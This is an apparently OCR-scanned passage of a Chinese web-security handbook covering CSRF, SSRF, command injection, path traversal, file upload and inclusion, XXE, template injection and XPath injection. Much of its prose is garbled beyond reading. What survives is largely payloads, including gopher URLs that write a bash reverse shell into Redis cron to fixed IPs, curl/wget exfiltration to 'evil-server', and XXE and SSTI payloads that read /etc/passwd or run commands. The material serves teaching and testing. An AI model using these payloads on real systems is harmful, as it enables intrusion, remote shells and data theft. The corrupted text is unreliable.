https://blog.sheddow.xyz/css-timing-attack/
https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
https://www.bedefended.com/papers/cors-security-guide
https://speakerdeck.com/shhnjk/logically-bypassing-browser-security-boundaries
https://gist.github.com/JohannesHoppe/5612274
https://github.com/masatokinugawa/filterbypass
https://www.leavesongs.com/HTML/chrome-xss-auditor-bypass-collection.html
https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs
https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/
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At

o AFFP XSS Fr AL by tigdr

e Using Appcache and ServiceWorker for Evil

Tricks

e Service Worker 4182

o il L BEVA

4.3 CSRF

4.3.1 &

bk thig (Cross-Site Request Forgery, CSRF), t## A One Click Attack 5{# Session Riding , %
4’5k CSRF, j&— Mt Mt m FL A . TR XSS, (HES XSS AN, XSS FI il & i
B, M CSRF W@ he ok F 215 A P il KRR H A2 5 R M5

4.3.2 o3k
HEES

PR S R R Z NG CSRE A AR ol Eml R AR Hh T B 2 (2820 . X RPN 25 A HTML 4
% (BN <image>. <audio>. <video>. <object>. <script> %§) Fr & MIRMIGEY . sk
REfG N URL Bmapih, A5 mRe v PR AT AT AR 284K vl PASE B «

/0% Cookie WIVR ST, W LFNA, WUGEARTTFE XSS, AT DA AT e & il ok i s A &
AT, WRBURT GET &K, P AxX st 228t 78 URL ME—A9ig R8RS Rh2RA ) 3= TR ) 2
BESARRHE  Ze4 ) HTTP #5k 5.

BETFRE

M HAE LR 22 i RO AN B B Mb)@ — MR B2 FER AR R R, HAL S —A JavaScript i
B, il 2 EE RN AR

AT AT A BRI ST R AL, DA R RILE

IR PR cookies AN, Ty T PATEARAn sl bR Bh ety , Nz E M AR cookie Bof, Wiimtss
). WRIE SRR TR, BB A2 A B R A TP I A TUR %O R e B T AR
ZEH R R U ) 9 25 5 R TG A R
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https://github.com/etherdream/sw-sec
https://github.com/EtherDream/web-frontend-magic
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XMLHttpRequest
XMLHttpRequest FJRg2 /0 FEIM T, BT IFZ I Web B R PO XHR, 152 1 FAE 9 KR
1) A ) FER T S R X — R 7 R 5

ET XHR fy CSRF i@ # i SOP MMiA XSS AR B BOA BB 2 35m (Cross-Origin
Resource Sharing, CORS), XHR {{[RT Ui #1048 B B 1A S 1 I IRTHK .

XA CSRE MG A R A R —AiEn) XHR, b C 2% 17— A2 EH WIS
DOM =,

4.3.3 BhiE

o il CSRF-token B Gl A ARAG I ] o 52
I59F Referer/Content-Type

X PG O B A A R S AR T POST 484F
Al il A1) Cookie, J™#%iE Cookie i

4.3.4 SRR
e demo
e Wiping Out CSRF

e Neat tricks to bypass CSRF protection

4.4 SSRF

4.4.1

55 s sK O (Server Side Request Forgery, SSRF) i1 2 Bt & iR BRI 5545 B A BRI, 1) Al
55 e I ARR 55 45 04 5 0y ik — 2R A T S BT SR A AR S5 S T AE N I - SSRE Gl it 3 1 X SN I 45 To ik B %
VIR RS

RARE

SSRE [ PAXTANM . 55 A e R . ASHBEA T o 4, BGEs TN IS T, s A File H)
PEEIIES B EL

P X 55 B R X S0 R I 55 A — e x4 55 B 3 PN I IR 55 A 13 4 5 (SR 05 X 1A 94 ) i 18 EEEAS PR
Bk, FrAfFAE SSRE I, Gl % Sl Mg K fa s .
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4.4.2 FIAAFR

SSRF FMAFAEL M AR RS 57, FHAAN [ 37 57 AT DA A ) 9 1) A S0 D7 5

PA curl A, WA dict #pi3EAE Redis, file PRGEESCH: . gopher HU 3 Shell 4868, 5 ILEY Payload
N

curl -vvv 'dict://127.0.0.1:6379/info’

curl -vvv 'file:///etc/passwud’

#ox FE: HERAES S, #48 TEFA

curl -vvv 'gopher://127.0.0.1:6379/_%1/0d70a$8/0d/0aflushall;0d/0a*3/0d/0a$3/0d/0aset/0d
—/40a$170d70a170d%0a$64/0d7,0a%0d70a/,0a%0ax/1 * * * * bash -i >& /dev/tcp/103.21.140.84/

6789 0>&170a70a70a70a70a0d70a70d7%0a70d70a%470d70a$670d/0aconfig0d70a$3/0d70aset0d

—70a$370d70adir/0d/0a$1670d}0a/var/spool/cron/70d}0a*470d70a$670d70acontig/0d}0a$3/0d

—/0aset 40d70a$1070d/0adbf ilename ;0d/0a$4/,0d/0aroot ,0d0a*170d70a$470d/0asave ,0d0aquit
~70d70a"

4.4.3 HXREERELH

SSRE 3 J¢ 1| (4 & 16 b6 £ 32 2R M 25D 1), SCRpOM PRI M 25 52 3. DA PHP S i, 3 Je B 04 ok B0F

file_get_contents() / fsockopen() / curl_exec() %,

4.4.4 FiEGET
¥Ry IP it 5k

—LEIF R H iR RHE R URL S50 T IE W PR 7 2k pEd ) I TP, AR A0 R TR 23k
o« ~10(\.([2][0-4]\d| [2] [5] [0-5] | [011?\d7\d)){3}$
o ~172\.([11[6-9]1[21\d|3[01]) (\.([2] [0-4]\d| [2] [5] [0-5] | [01]7\d?\d)){2}$
o ~192\.168(\. ([2] [0-4]\d| [2] [5] [0-5] | [01]17\d?\d)){2}$
XTI PEFA TR e 1P W5k Ty Xt rgend, filin 192.168.0.1 53X A IP Huhkn] PARE 51
8 HEil%: 0300.0250.0.1
16 FEHIFE: 0xC0.0xA8.0.1
10 FEHIEEEHE A 3232235521
16 FEHI R A 2 0 0xCOAS0001
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o BFJEWIAI: 1.1.278 / 1.1.755

>
H
N
[
=

A v 1.278 / 1755 / 3.14159267
T340 TP Wi —Ar, A-HEHI T AR .
Pk E 5 IP #idibAt, Apache 223 400 Bad Request, {H Nginx. MySQL 2 HABR 4476 1E & TAE.

734h, 0.0.0.0 XA TP AT DAEEDT B A, AR 4k i st -

{5 FRREHT 2 A M B33 &

AR S5 St AT S pT TP Pt pE il FRATHEAT PABE ] localhost SERAT S A Y I44 -

F35h xip.io $RHE T AT R RS , XAk TR ST R A TP, 40 192.168.0.1.xip.jo, f#HT
7 192.168.0.1.

FIRMEHT URL FRhELaY i)
FERLENGOUT , ey nl RS XTI URL JEATARHT, XHAEHTH R host MbhbEATd g, Xl S
I URL ST AY, SECRTASES g,

F4n http://www.baidu. com@192.168.0.1/ 4 J5umFe 718 o A tE A 1) 1F 33k 20 (L anff http 2 5 %] com
WIERFARFNE, g www.baidu.com, A RETiHIERAY host Hihkh}) X ik URL W &4 7 /T
Ry, ARA FTRESIA N URL #) host 2 www.baidu.com, i 355 EiX 4~ URL Friif K i A 20402
192.168.0.1 L%,

TR Bk
R JE AR 25 2 e B 505, IEMRIMNT 7 URL 9 host, F HLUEFT 7 ik, FeMTixASmhig al DA ik
ey r AR SR

Bl PA#E 20 http://httpbin.org/redirect-to?url=http://192.168.0.1 4k 55 Bk4%, HE2HT URL HEET
192.168.0.1 Xy TP dbhil, W] RE < wE W Fh=ad e, T RAGE b stk i 7y 20k g3

TRk A 302 BN 307 kiR, XHITET 307 BhE &k POST 3K PGS, (Hig 302 Bk A&

BEEFIE HTTP il

UNSRR 55 A A e X7 1) URL R A M GEEA TR ik 3, I DA 3 HTTP P BOCRIE T A

et e gopher, FIPATE—A> wl S4PHiE POST 8% GET 53K, M kB Beek S B9 H 89 filan
FIPAE gopher PR30S MK Redis AR5 #EATHGE, ATRAMH AR Y URL:

gopher://127.0.0.1:6379/_%1%,0d%0a$8%0d%0aflushall?’0d%0a*3%0d4%0a$3%0d%0aset’%0d%0a$1%0d%0al
~%0d%0a$647%,0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a
—%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0acont ig},0d%0a$3%0d%0aset%0d%0a$3%0d%0adir’%0d

—%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0acont 1g°/00dA.Oa$3%Od/.,0aset%Od%Oa$i6%% %)
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(8 k)

|

BT gopher P, File Hpisllthie SSRF i BIPML, M2 M T U5 A TSR RS, FATAT
PRI A0 file:///path/to/file XAMEA R M T ENA S . B file PHSCRT DARE S IR 55 S F 3 4F
TRV IP EATR L ug . BIAnFRATRIPAEE £ile:///d: /1. txt Kj1 D #H Ltxt BINEA.

DNS Rebinding
—MEHRE B TR PR URL 24, B ek ainad it T DNS g, ZRJE%T DNS
g5 AR i) TP MOk gEFT R8T, QPRAE AL B, i EE IR

ERRAER A AR, 58— R AN K DNS [ 55 UEA T34 M 21 5 — R 55 i 253 5K URL Z [ 47—~ ]
2, MAXAWEZE, ATRAUEFT DNS B0 % i

H5e N DNS BB ELly, WATTHE M4, HF B i T4 2 21341 H © /9 DNS Server, 7E3K
Iy AT4ER) DNS Server b4 SIS , BEE TTL IEy 00 X FE ] AUEFTEGE 1, Se B mBedfike h -

o Mssasimdkfs URL 280, #E4755—k DNS f@#tfr, K45 17— ARA R IP
XEFERIGAY 1P EAT I, ABUNARRA B 1P, W Rk

W55 gsvimxt T URL 2EA7751, T DNS g5 el &y TTL 2 0, FreAPRkuEfT DNS fi#fr, X—iK
DNS fij 55 iz [m] (1452 A ) ik

o MTEAGEIRUE, FrUANRSS &5 ik (1] 95 7 A P BRI 454 o

FIF IPv6

LR %5 %A 5 IPv6 (IO, (HI2 P S SCHE IPve, WIRTRAfEH] IPv6 (4 IP 4 [::1 0000::1 3§
IPv6 [P M4 Sk Seid ik

FIFH IDN

— e 2835 T HE 40 Curl 252 X #HiEPribiEi4 (Internationalized Domain Name, IDN) [, EFnfbiEg X
FREFIRFAFIER S, 2T 550 4 FHRRIR ) SO Bl R ) ELR M 48 4%

LB, WA FAFRAE VIR0, B . I example. com SF[F. AT,
ATAS RS R

4.4.5 TTEERSFIFAS

PR 55

o Apache Hadoop RS AT

o axis2-admin %% Server fy>HAT
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e Confluence SSRF

o counchdb WEB API #2447

e dict

o docker API sy 44T

o Elasticsearch 5% Groovy MIZAR 44T

. ftp / ftps (FTP f30%)

o glassfish (T35 SCOHEHUN war SCHSTE A2 20 dT
« gopher

o HFS g fn 4T

o http. https

+ imap/imaps/pop3/pop3s/smtp/smtps (JEBEHEF:H P4 %55 )
o Java IR O A AT

o JBOSS ifE Invoker war fiy4HhAT

o Jenkins Scripts # 164 HFT

e ldap

« mongodb

 php_fpm/fastegi Ay2 AT

o rtsp - smb/smbs (JERE SMB)

o sftp

e ShellShock 24T

o Struts2 iy AT

e telnet

o tftp (UDP #pl¥ )

o tomcat iy AT

o WebDav PUT A& {F 5 3

» WebSphere Admin FJ#E war [H#E A AT

o zentoPMS mFEay S FAT

Redis A

o 5 ssh A%
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« 5 crontab
« 5 WebShell

« Windows 53z
o EMZ I s0 LI
o EMEHG IR

=EH

1E AWS. Google S RIE T, lid 51 =R O APT BB APT, FERRAME U0 T Wl ASE LU
BB

4.4.6 PFEIAR

o JUEREIH(EE

o GiHRR(ER

o PR R A5G L

o ZUEAEHEH

o X} DNS Rebinding, & DNS ZZf75# Host H44H

4.4.7 SE5kE

o SSRF il 75 FI A

e A New Era Of SSRF

e php ssrf technique
R—RAMATAE Python FF & H4E4E SSRF ik

e SSRF Tips

e« SSRF in PHP

4.5 SHXEAN

4.5.1 &

AT TEAH N 4 Web BLHIFEMR 5 L DF5 RG0S M s I -

114 Chapter 4. & iR


http://www.91ri.org/17111.html
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51
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W BT AN e — LI RER IR T . HAn— 28 Web A5 PRSI RO L B L4 /1P /4
/R 2% AR RGEE LA KRS IIRE, BE — Ll SR AL ping. nslookup. $#RHEAIRMEM: . Fedlal
Jr S REHT AT RE B -

4.5.2 EREEEE
PHP

e system

e exec

e passthru
e shell exec
e popen

e proc_open

Python

e system
e popen
e subprocess.call

e spawn

Java

o java.lang.Runtime.getRuntime().exec(command)

4.5.3 BREAFX

o G545

o || && & /¥

o | HIERF

e \r\n %d0%a0 #fef7
o [GIST

. $O B
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4.5.4 TEIEHIZ

« bash JZifif shell
« DNS 4 kdi
o http Hi4h
— curl http://evil-server/$(whoami)

— wget http://evil-server/$(whoami)

o JEHTANNFI sleep oiCHAE BT R

4.5.5 BRGEHX

=gt

o < ff5 cat<123

o \t /%09

o S{IFS} Mo {} JIRAMNT, AN catSIFS2 i IFS2 BAFRAY . Hoh, fERHMAS $ nf DA FIE
Wit Ve, — T $9, Bk $9 J2 Y ET RS shell MRRHIE A SBINFIA L, BIREA N T

Rapsgd

e a=1;b=s;%$a$b

e base64 echo "bHM=" | base64 -d
e /?7in/7?s => /bin/ls

o JEIEFT cat /etc/pass'w'd

RE X WIIEL A B cat$x /etc/passwd

R EPR#ISGET

>wget\
>foo.\
>com

1s -t>a

sh a

R ITE B AT EE M H A MY, EEE s SN AHDFHE G B A, BEHAT B AL Linux
Zvm N PATHYGG, B SCPR TR SR L [0 5 2 RIS N A 25X BUR] AGE ] — 2830 w,[Z e an &, (B
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Is /usr/bin/? #F) ARABMAS, FE Ctrl+D A REER, AR ThRES AR = E AL php .
A shell _exec SR PAAT RGE a4 1Y RIS, JE AAFAERRHERI AR, BTDAR] DA A SO

4.5.6 FHHS
DL EA
o %0a /%0d / \n /\r

. &/ Uk

BEN

o % 0 BRI MEETH

. T MERFH

o [1 AEHSHNFH, eg [abed]
[ - 1 {EAIG RO A 75
[ 1 —ARTEE SR

4.5.7 BhfH

o AN T EF A JTRH BV R 4
o REREEPATINBI N AT sl 2
o A RS R AT
o B AT shell JLyAF
— shell JEFAFALTE #&;°, [*7~<>" O [1{}$\

4.6 BRFiE

4.6.1 Ehr

HspzEll (afr -l H % i /directory traversal/path traversal) i@ . ./ &5 H k3l 530 2l 2 s
(R X0F AR R T AT SO R GE EIAER SO E %, Rl @ AR IRAARD . IO SCfF . ARG
45,
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4.6.2 HLHE

URL &%
o« ../
o ..\
o ../

Nginx Off by Slash

e https://vuln.site.com/files../

UNC Bypass

e \\localhost\c$\windows\win.ini

4.6.3 TiEGd

Lb/Scs i
— ../
« URL %if%
« 16 fii Unicode %%
— \u002e
HiK UTF-8 i

— \%e0%40%ae

4.6.4 P51

TEVERTSCPF AT G B APT R, W0 P AL D8 . B U R nl ABE I 4% B0, (P a7 ok
BT TIaE.

RSV PRI Z Il O T 2 i B R G AR AL R OIS BRAR)S , EAT I8, SR)EFRREA T %
ENER

4.6.5 BEHEEE

e Directory traversal by portswigger

o Path Traversal by OWASP
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https://www.owasp.org/index.php/Path_Traversal
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e path normalization

e Breaking Parser Logic: Take Your Path Normalization Off and Pop Odays Out defcon

4.7 JTHER

5 e U] REA IR R B S
o HPHSR P RBOR SR
— .bash_ history
— .zsh__history
— .profile
— .bashrc
— .gitconfig
— .viminfo
— passwd
o BRI R SCAT
— /etc/apache2/apache2.conf
— /etc/nginx/nginx.conf
o BTN H Bk
— /var/log/apache2/access.log
— /var/log/nginx/access.log
RS E BT N e B
— .svn/entries

— git/HEAD

WEB-INF /web.xml
— .htaccess
o FEBRMF By SCIF
— .SWp
— .8Wo
— .bak

— index.php~
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o Python Ij Cache

— __pycache__\__init__.cpython-35.pyc

4.8 X k1%

4.8.1 LRI
BERiEkSEd

A Rl S AUTE RS I T SCPF2ER, RIS I AT AL BB e M 5ok el [RIRERY A ARl eSS
Ui UK T HTTP Header Hfi S, AN Content-Type 2, X PG [FIAFE n] DA i (B0 0 253 sk Sed

Magic #&Mll%ed

A ARl 5 SO RS RAG I SCA A, X A A5 T ATE Shell BIAIARS R A5 AGERI A AL . TLARRS LAY 3C
PRI S 7 AT R PR

KR | ZEHEIE

JPG | FF D8 FF E0 00 10 4A 46 49 46
GIF | 47 49 46 38 39 61

PNG | 89 50 4E 47

TIF | 49 49 2A 00

BMP | 42 4D

BEsE

TR MRS ORI IS4 . EAZ I IY{E B8 Magic Header SRHWrSCEFEAY, BUBf AT PAGER

php iS5, FRAM R A Al BE SC AT & IE ) /ph(p[2-7171¢(m1)?)/ HYJ5%%, 4l php / php5 / pht /
phtml / shtml / pwml / phtm %[ #E4% 1| [ 4% php SCERFIIA AL,

jsp BIEENR] HESA#MT jspx / jspf / jspa / jsw / jsv / jtml %5)5%%, asp %1% asa / asax / cer / cdx /
aspx / ascx / ashx / asmx / asp{80-90} %5 )5%%.

B Taxsegent, HANR 5 2R R FE T B ol T, AN vbs / asis / sh / reg / cgi / exe / d11 / com / bat /
pl / cfc / cfm / ini %%,

RZg@asd

1E Windows i1, LA index.php. ZEMAY -, WOALHIFHIA. (T EIX index. phpl20
index.php:1.jpg index.php: :$DATA 4%, 7E Linux ARG, WA%%K 1444,% index.php/. # ./aa/../
index.php/. {4
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.user.ini

1€ php PATHYREREF, BT 3 php.ini Z4b, PHP A SFERA H S R INT SCfF, MBATI PHP SO
FEAE H SE MG _EFF3) web #EH % ($_ SERVERDOCUMENT _ROOT’] Fr8 &) WREHATH PHP
SCHAE web HRE FEZ A, W HERGZE . cuser.ini HH[PAE X2 T PHP_INL _SYSTEM DAY [
PRI, HOTPAEA user.ini i dE php G4 A E—4> shell, H.{Il auto_prepend_file=01.gif .

WAF %5t

A waf TEG 5 iR H % EEIVERR IR, HACPE—F 0 B, X RT RASE 1k A K S B R ok S i AR P
BREL

J34h, Waf fl Web RGi%} boundary (AR, FIPAM 44RAY boundary 58 BiLE

e LiEsd

AR5 AR T SeRAE . BB AA SRR D7 X, TERXMAR S f b, WA A —A> 2L i Web Shell
WS ERATT R, 2R GBI 3R4F Shell.

4.8.2 HiKHKI5

Apache EE GetShell

Apache W HE A SOV EE 0] % JE 4% htaccess
NESYS|

AddType application/x-httpd-php .png
php_flag engine 1

AT A pug s HA S 2800 SCHH php AT

REEHEERIEX

A AR B S SRR SCIERS W] DA B AR S A R 0 SCP A AR A5 A8 DA MU B, ]SSBT
PELRETIEIEVES

4.8.3 BHPHIS

o [T 2% SRR AT SO R A
o i AR I SO R B ARG A
o [ Web Server X A% SC4:-J2 (At
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4.8.4 BEGHE

o MG B Fuzz 7 i

49 XHBE

4.9.1 Ell

B L SO S IR IRAYIE RN <7php include("inc/" . $_GET['file'l); 7>
I LA & 7=k
o [AHFM4 file=.htaccess
« HgiJj 7file=../../../../../../../../../var/lib/locate.db
o HiE¥EA 7file=../../../../../../../../../var/log/apache/error.log
« FIf /proc/self/environ

HAp HERT AR SSH HGE#E Web HEEZF H AR I

4.9.2 fik Sink

« PHP
include

* FER SRR S, AT RS

include__once
A E—IR
— require

SRR A, A ERBL, AMTIRZHEN

require_ once
4.9.3 43315
B VLR FITESC AL £ 2 B T Al 2 VL PR BRSO AT 0T, — AT A T LR e I ot

url YREESET

AR WAF A PR DURE, W RAREI wrl Z20gisnJr 2UnT pAGE
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B

o HLUBREULN, BESCHRESCRRMEN Shell SRCAF, 17 + 4
o wl P 7 # WRER N include LT HILER

o HEESLN, unicode S AN [I(H R FIEARMLAY FAFA 7] — R

%00 ;i

LR EcE R, &2 nagic_quotes_gpc K], 1 H php lRA/NT 5.3.4,

R EEER

Windows ERSCPFA KBRS AR & HARK AN MRE SRR, UK R 259 4> bytes.

msdn 5F X #define MAX_PATH 260, H. A5 260 NEMF NFEAFERLEER \0 , 1 linux AJ AT getconf K H|
W SCE 24 K BRI AT SR AR K BEFR

Pl K AR K getconf PATH._ MAX /root 153 4096 #EUE K U 44 getconf NAME_MAX
/root 53| 255

M2AE KA RAIEHE, ./ /.7 ./ (0 A) IR T DAE X AR S A g
TE php A&, X Fpgéd X%k php M4 < php 5.2.8

thih il geid
o It FE U A F 3Kk allow_url_fopen=On H allow_url_include=On , payload 3l 7

file=[http|https|ftp]l://websec.wordpress.com/shell.txt [

o PHP input: ! payload Ji7F POST S /F &304, oK allow_url_include=0n , payload
°Jy ?file=php://input (YIEK

o Base64: {fiff] Base64 thPMEERC (Y, payload 2l ?file=php://filter/convert.base64-encode/
resource=index.php M

o data: ffi/f] data PP, payload 2l 7file=data://text/plain;base64,3SBsb3Z1IFBIUAo=
mIER, EK allow_url_include=0n

allow_url_fopen #il allow_url_include FZE24FXT http ftp PIAIMSGESER, FLw DA SMB,
WebDav Pl % h =k S8 FR il o

49. xH¥aE 123
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4.9.4 BE5HE

e Exploit with PHP Protocols

o lfi cheat sheet

4.10 XXE

4.10.1 XML EHi

XML 50§ JEFRICHE S (eXtensible Markup Language) , J&—#0H TAric L1 SO A S5/ MR AR
W, BT AR . XML SCRiS5 #6048 XML 7], DTD SCR{ZEALE SC (RIEE) .« SCRYIT
. HEl, XML SCERRBCESCIF (Spring, Struts2 45 ). SCRYZEH IS (PDF. RSS 4§). B gt
XA (SVG header) W) 2. XML g H DTD  (Document Type Definition) b4 78 .

4.10.2 BEXEE
XML SCHFEJF kA <?xml version="1.0" encoding="UTF-8" standalone="yes"?> ({44, XMLt}
Fiky XML prolog , JHTF M XML SR RRAS MRS, & nT ey, (H i@ e cfE ST Tk -
W T AT R AN, XML 5% E A PAR A4
o i XML JURHASE KPR
o XML FREERS K/ NE R
o XML WA IERHiRE
o XML SCHAAARITER
« XML @ EER M5
734k, XML Ay CDATA 535, HTALBAT 247455 2 ORI BL

4.10.3 XXE
BAVFG NS ARR, s SRR XML A%, SEOERUEESC . AT RS a2 S A M55 H

Bl NI R A5 2R . — ey XXE Boly, FATER S a4 1] S ol A st i 22 mb B A RE AT XXE Juill A
R 55 A SO, (H2 AT PAE i Blind XXE #9757 XS el .

4.10.4 HEFHR
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B4R S

<!DOCTYPE data [

<!ELEMENT data (#ANY)>

<!ENTITY a0 "dos" >

<!ENTITY al "&a0O;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&al;&al;&al;&al;&al;">
1>

<data>&a2;</data>

AT AR AR g, MFORINRN), H AR 0T REA TR IS i . BRI w] B B 2 2 ik A
I, a5 BRI INRSEA, PASEBIE A RCR -

HFZE

<?xml version="1.0"7>

<!DOCTYPE data [

<!ELEMENT data (#ANY)>

<!ENTITY file SYSTEM "file:///etc/passwd">
1>

<data>&file;</data>

SSRF

<?xml version="1.0"7>

<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>

1>

<data>4</data>

RCE

<?xml version="1.0"7>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>

<core id="test101">

<description>&xxe;</description>

4.10. XXE 125
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(4 1W)
</core>
</catalog>
Xlinclude

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.0rg/2001/XInclude"><xi:include href="http://publicServer.

—com/file.xml"></xi:include></data>

4.10.5 &E5E

o XML #H A%
RFNBCSFPG XXE Yl B
o XXE Bt #itsr

M XML #f%—2—2 3] XXE Jii

4.11 #RhEAN

4.11.1 &F5r

BT T RSS2 BN A BB OBl & b 1 P P B A AR 2 Ak, DAAE IR T,
TR Bt B AR (AN EA) . JRRRSE) AbBE TR OB, Ao Vrdemsoti i i s ok
iEEREA, DRSS WPRIGT 2 AR 42 l 2E S BRI, AR (TR REAS A T Bk 1R SCRE,
B RAE R S5 dr Las TR ar ok

4.11.2 JRFE

o BTG %
o BHRGIFEMRMSH, 08 H LY LA B A7 R RO AE
o WmRIGE, 2GR

4.11.3 Ui A 51

o fRTRIEERIB, ({747 32 => 14
o FHERFEERX {{ "ajin" 3} => ajin
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http://www.w3school.com.cn/xml/
https://security.tencent.com/index.php/blog/msg/69
http://www.freebuf.com/articles/web/97833.html
https://xz.aliyun.com/t/6887
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e Ruby
—<k=TxT P>
— <%= File.open('/etc/passwd') .read %>
o Java
— ${7x7}
o Twig
— {{7x7}}
e Smarty

— {php}techo ~id";{/php}
e AngularJS
— $eval('1+1")
o Tornado
— 5| {% import module %3}
— => {J import os %}{{ os.popen("whoami").read() }}
o Flask/Jinja2
— {{ config }}
— {{ config.items() }}
— {{get_flashed_messages.__globals__['current_app'].config}}
— {{'"'".__class__.__mro__[-1].__subclasses__()}}
— {{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}

— {{ request.__init__.__globals__['__builtins__'].open('/etc/passwd') .read()
2

o Django
— {{ request }}
— {% debug %}
— {% load module %}
— {% include "x.html" %}

— {% extends "x.html" %}
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4.11.4 B%x

o QAR

o XS
RSP
fr Bt

o 121

4.11.5 HXEM

__class__

python HAYHIAIE (RIERYK object XRAYA) WA —DIEM: __class__ I TIRIBCY HTSLHINT R,
B . __class__ gl DAZRIUE T4 H3 S BRI 36

mro

python MG __mro__ @SRRI —A tuple ¥R, HAWE T UHIIXRIAPKAEELE, tuple H
JCEMIF5E MRO (Method Resolution Order) S48 .

__globals__

PRAE T R BT I T & Ae i, FEMI Y, WA __init__ RO ZRIRE, Hhilid __globals__ 3k
B file os SFMIHPATEAT R — A A ]

__subclasses__()
python WHT=2BH RS T EIFE I T280951 1, __subclasses__ () X5 ¥EIR ] T 2800 A 12056 0 12511
I CREXMRGIH, ANRR%Lsl).

A4 python HHHJEHRZ 4R object ), FrPA L object X4 A __subclasses__ (O FiEak ] AT
U BRI S

4.11.6 F I} Payload

e ().__class__.__bases__[0].__subclasses__() [40] (r'/etc/passwd') .read()

e ().__class__.__bases__[0].__subclasses__() [59].__init__.func_globals.
values() [13] ['eval'] ('__import__("os").popen("ls /") .read()' )
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4.11.7 &Eid3HI5

FiTEYEE

request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']() [60]

ERs#sd

params = {

'clas': '__class__',

'mr': '__mro__',

'subc': '__subclasses__'
}
data = {

"data": "{{''[request.args.clas] [request.args.mr] [1] [request.args.subc] ()}}"
}

r = requests.post(url, params=params, data=data)

print(r.text)

4.11.8 BEHEEE

o g5 s A
o JiI Python FEAT EAUHALT

4.12 Xpath ;¥\

4.12.1 Xpath X

XPath {EAZHZAEHM N XPath BT A AMBSRAE, BB YE URL, RASCHEFR LHHESE
() XPath 2 {0, PASFSAURAE ST MBS EBOX 2815 B . XPath {EA T2 X Web A5 BT
Yeikidrik, EAREah BRI AREE XPath FHXRRAYELL T, @id XPath g5 —4 XML 3¢
e N .

4.12.2 Xpath JF NI EE
XPath AT F 3 2@ R A, X AR XPath i5vEH A —Lgl 4, Xit

AR SH G A Web B IARFE, B HAT XPath AT ST AREREERIE, T s
SREUE IR B, I XPath LGS B

4.12. Xpath jEA 129
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1 Web N R FHPESRIGIERE T, — A M4 (username) FI%HH (password) BNS4L, F2)7 it
F P TR AT i ARG H P48 U RS R AT A A . P AIE B A CE XML e p, HSE R A 4k user
FHMM P4 (username) FIEH (password) MYL5H AR HEATHRANII

BIFELE user.xml SCEEHNF -

<users>

<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>

</user>

<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>

</user>

M #  XPath H M B 59 & i) i& 5] k: //users/user[loginID/text ()='xyz'and password/
text()='123test"']

2, ATRAR AR B A Lt ATty Sed BBk, W % A—> login #l password, fil#
loginID = 'xyz' #f7 password = '123test' , MWZENEAPRER ] true. (BUE A FEAZLELL ' or 1=1
or 1=t ML, HRAAE A I AT true SRR, PI2Y XPath TR &SN RIS //users/
user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='"']

AT AL E A —EIR W true FRF— B ARVFBGEEE VI RS . Yot Al AR XPath 7E5Y ]
P73 S A XML SCRY . Xk 58 O sl AT XPath B ABARPRIUR R AL BRIK 51 H & B2
(EIEFSE

4.13 ZiEiRRE / WFimiE
4.13.1 &4

W 4 TR P2 AN S8 LB AR SO B R B T -

TESKER IR, PRI R F KA Al i Holk 55 S Rt Nl i e 207, FrbAH &
H AL i
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4.13.2 RIEBIF
o BFEREE LA E O
o B HET R R SRR B,
o FREE I EHIIRESRIUE K
4.13.3 %5

WySE

BERSATH irds
BT
1 AU SRS S B
N T
HUS R K
e B P AL AN 21

LIE-7k

o WL
- E3

4.13.4 kP

A

o BT
o ZWEENPA
o b H A RS

EAL

o BB AR B A SAIRAT
o BOA YL B E SR Y R

4.13. ZERAE / WLSKRA 131
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HRFER P&

. HiRAE
. RNEAH

Cookie

o WEERER

o REUEAEME] i

FHNSHRAE

o IR

o 486

R

B EE

R R AL

I SERFIESS

B 2K S R BIVERK
— T EBLEBUEYLEH S B
AL LR E
HSRSEULAT A E A 2 A i B

o HEALEMED

T BB R 0]
Token I8 iF1% HEAE Hi Uit
X-Forwarded-Host Z-FEAS IEHf
e I 25 T D REE B T P B8R B

132
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B
. MR
o UL IR KT
B
. B
. L
B
o ORM i 7R 24 T4 A7 25 7 B

o AUBRERHIA 24T DAL E 2L

f

ok

BEiA

o BURRFRAA 24 0] ABA A )
o MPEE ID W] ARSI 20k

4.13.5 2FA

o TG H A 2FA
e OAuth BFEAEHEH 2FA

. 2FA WA

. 2FA G ATES

. PR s

o WIEHEESLA T 2FA
wliEd CSRF 25/ 2FA

4.13.6 J&iFES

A TRETIE ¥

o B T

o BIEMGR A

oSG Tk [F] R ) o SR A T
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o SO UIERH TO R I AR Al

R AR ESUE S bE 2 i Gl N ESUE 2 &2 o0
o B URAD AT A IR B 6 b B AR

o DO UERSAS R TC R

o BrUERDECEA IR

o BUER TR A R ]

o &k Cookie ZEut

e ATIEakZ3u)

o BUERSTER i A AR B

o BUERSTT OCR s AL AR~ 15
o BOURRD T FHURELS AR5 AE

4.13.7 Session

« Session HL
o Session JE / &
« Session fhi
o Session jtt

¢ Session Fixation

4.13.8 ##

. AEEBLT
- W
~ R el K IR

o KT L
— Tt T AV S A I BURAS ) PR
— BURAIAE, D

. TP
— RGOS P DA RS P YR
— AU TD A, KA

. LR
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— FUFR ID oAy, 287 Ay

4.13.9 MEHHZE

o AR ERBEPIEC L LA
o (YIS 1) 45 2 G R ) PR S A A B A LR 1

4.13.10 Hh

o HPATR/ SRS ID A MU, TA2E
B ORI . YRR

N FIA SL B

AT

